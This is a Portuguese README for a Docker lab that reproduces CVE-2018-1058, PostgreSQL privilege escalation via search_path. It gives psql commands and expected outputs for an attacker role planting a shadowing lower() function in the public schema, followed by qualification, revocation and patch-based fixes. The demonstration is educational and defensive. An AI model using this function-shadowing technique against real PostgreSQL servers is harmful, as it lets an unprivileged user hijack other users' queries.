
Demonstração reproduzível baseada em Docker da escalada de privilégio CVE-2018-1058 no PostgreSQL via caminho de busca não controlado, com comparação entre ambientes vulnerável e corrigido.
Este repositório contém o relatório final e os artefatos de reprodutibilidade para:
CVE-2018-1058: Escalonamento de Privilégios no PostgreSQL através de Search Path não Controlado
O objetivo é demonstrar a falha de confiança no search path por trás do CVE-2018-1058 usando um ambiente Docker local seguro.
A demonstração não reproduz o caminho de execução histórico exato do pg_dump. Em vez disso, reproduz a mesma causa raiz descrita na orientação do PostgreSQL: um schema gravável por um atacante contém um objeto semelhante, e outra sessão resolve um nome não qualificado para esse objeto.
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
├── init.sql
├── init_safe.sql
├── exploit.sql
├── victim_query.sql
├── verify_qualify.sql
└── fix.sql
O relatório final é report.pdf. Ele inclui a análise escrita e as capturas de tela correspondentes às saídas esperadas abaixo.
Nenhum Dockerfile é necessário. O projeto utiliza imagens oficiais do postgres.
As capturas de tela estão embutidas diretamente no report.pdf, portanto não são fornecidas como arquivos de imagem separados.
Instale:
psql, opcional mas recomendadoA demonstração utiliza dois contêineres PostgreSQL:
Certifique-se de que as portas 15432 e 15433 estejam livres.
A ordem de execução esperada é:
exploit.sql como attacker.victim_query.sql como victim e observar o prefixo CVE-2018-1058 DEMO:.verify_qualify.sql como victim e observar a saída normal em minúsculas.fix.sql como postgres.victim_query.sql e observar a saída normal em minúsculas.exploit.sql na porta 15433 e observar permission denied for schema public.docker compose up -d pg_vulnerable
docker compose ps
Resultado esperado: o serviço pg_vulnerable deve estar em execução e mapeado para a porta 15432.
Verifique a versão do PostgreSQL:
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"
Resultado esperado: PostgreSQL 10.2.
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"
Papéis esperados:
postgresattackervictimO atacante não é um superusuário do PostgreSQL.
Execute o script do atacante:
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
Saída esperada:
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION
Isso cria:
public.exploit_log;public.lower(varchar).PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
Saída esperada:
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo
Isso mostra que a consulta normal da vítima resolveu lower(...) para a função controlada pelo atacante.
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"
Resultado esperado: pelo menos duas linhas em public.exploit_log, uma para cada linha processada pela consulta da vítima.
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql
Saída esperada:
alice demo
bob demo
Isso funciona porque pg_catalog.lower(...) força o PostgreSQL a usar a função embutida.
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql
A saída esperada pode incluir:
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE
Em seguida, reexecute a consulta da vítima:
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
Saída esperada:
alice demo
bob demo
A função controlada pelo atacante desapareceu e a consulta retorna strings normais em minúsculas.
docker compose up -d pg_fixed
docker compose ps
Verifique a versão:
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"
Resultado esperado: PostgreSQL 10.3.
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
Saída esperada:
ERROR: permission denied for schema public
Isso significa que o atacante não pode criar a função falsa em public, então a cadeia de ataque para antes da resolução de nomes.
Para parar os contêineres:
docker compose down
Para remover volumes e redefinir completamente o projeto:
docker compose down -v
Esta demonstração é intencionalmente inofensiva. Ela não rouba dados, acessa arquivos nem executa comandos do sistema operacional.
O exploit usa um prefixo de string visível e uma tabela de log para provar que o PostgreSQL resolveu um nome de função não qualificado para um objeto controlado pelo atacante.
O CVE oficial diz respeito ao pg_dump e a outras aplicações cliente. Este repositório demonstra a mesma falha de confiança no search path em um ambiente de sala de aula seguro e reproduzível.
Se uma porta já estiver em uso, pare qualquer serviço PostgreSQL local ou altere as portas do host em docker-compose.yml.
Se a saída não corresponder aos resultados esperados, redefina o ambiente com:
docker compose down -v
docker compose up -d pg_vulnerable
Se o psql não estiver instalado localmente, os comandos de inspeção de versão e papéis ainda podem ser executados com docker exec dentro dos contêineres.
Se o exploit falhar no pg_vulnerable, certifique-se de que o banco de dados foi redefinido e que scripts/exploit.sql está sendo executado antes de scripts/fix.sql.
| Serviço | Versão | Nome do contêiner | Porta do host | Finalidade |
|---|
pg_vulnerable | PostgreSQL 10.2 | cve1058_pg_vulnerable | 15432 | demonstração vulnerável |
pg_fixed | PostgreSQL 10.3 | cve1058_pg_fixed | 15433 | comparação corrigida/endurecida |